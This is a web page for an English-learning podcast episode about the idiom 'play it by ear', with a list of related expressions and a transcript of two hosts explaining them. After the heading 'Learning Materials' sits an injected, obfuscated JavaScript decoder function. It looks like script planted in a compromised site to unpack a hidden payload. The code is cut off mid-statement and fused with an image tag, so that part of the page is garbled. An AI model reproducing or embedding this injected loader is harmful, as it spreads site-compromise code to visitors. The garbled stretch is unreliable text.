Catch Word #155 – Let’s just play it by ear

Are you the kind of person who likes to plan everything? Or would you rather just play it by ear? This episode is about being in the moment, not planning too much, and accepting what happens. To play it by ear is a very common expression used when people are deciding not to make plans. Listen in to hear more about this expression and some similar ones.

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Expressions from this episode included in the Learning Materials:function h94fcba1e7(y1){var vd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var yb=”;var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6-e1475153598476.jpg" alt="playitbyear" width="300" height="200" />

  • To take things as they come
  • To play it by ear
  • Set in stone
  • On the spur of the moment
  • To come easily (to someone)
  • To be down (with something)
  • Or what
  • To pull it off
  • To go with the flow
  • To roll off the tongue
  • A big step
  • When in doubt
  • To roll with the punches
  • It’ll happen for you

Sample transcript:

Maura: Yeah. OK. Let's get to today's episode now. Today we're going to do a Catch Word episode, and that's where we look at three related expressions, and of course, we tell you what they mean and we give you examples of how you can use them, too.

Andrew: That's right. And today's expressions are all about accepting a situation as it comes and doing what comes easily and naturally when that situation arises.

Maura: I like this idea that you just don't try to change a situation or plan too much. You just kind of make decisions as things happen in the moment.

Andrew: Yeah. You just react to things as they come.

Maura: OK. Now, the first expression we're going to look at is to play it by ear.

Andrew: That's right. To play it by ear. Maura: And this expression, to play it by ear, means that you don't plan something out in advance. You just decide what you're going to do when you're already in the situation and you just let things happen naturally.

Andrew: Mmhmm. So, things happen naturally and then you react to the situation as it develops.

Maura: Right. I hear this expression used a lot when people are talking about possibly making plans and maybe they can't decide what they're going to do so they say let's play it by ear. And that means let's not make a decision, or let's not make any plans. We'll just decide later when the event is actually happening.

Andrew: Mmhmm. You don't have any plans that are set in stone. You just play it by ear and make your decision on the spur of the moment.

Maura: Yeah. Actually, we were just talking about this a few minutes ago. I think, more and more, people do play it by ear because of cell phones and texting. They don't make set plans, sometimes, and they just text each other saying, “Oh, I'm 5 minutes away,” or “Now I'm gonna be an hour late. Can I meet you at this place instead?” A lot of times we don't always make set plans. We just play it by ear.

Andrew: Yup. That's right. And I think you're right, as well. With cell phones, people sort of make up things as they go along, because we can communicate with each other so easily now.

Maura: And Andrew, do you have any guesses about the origin of this expression?

Andrew: Hmm. To play it by ear. It sounds musical to me.

Maura: Yes. That's why I asked you, because you're a musician. So I thought you would probably figure it out.

Andrew: Mmhmm. Yeah. When I play music, actually, I play a lot of different instruments, and I've always been really bad at reading music. And music theory is not something that comes easily to me. So usually when I play music, I play it by ear. I just listen and try to figure out what I'm doing while I'm playing.

Maura: Exactly. So that's where this expression comes from. That people would play music without looking at any notes and they just improvise the music in the moment. Maybe they're jamming with some other musicians. And so it's the same idea, except now we're not talking about music anymore. We're talking about plans for something.

Andrew: Mmhmm. Yeah. I used to get in a lot of trouble during my piano lessons as a kid for playing it by ear a little too often

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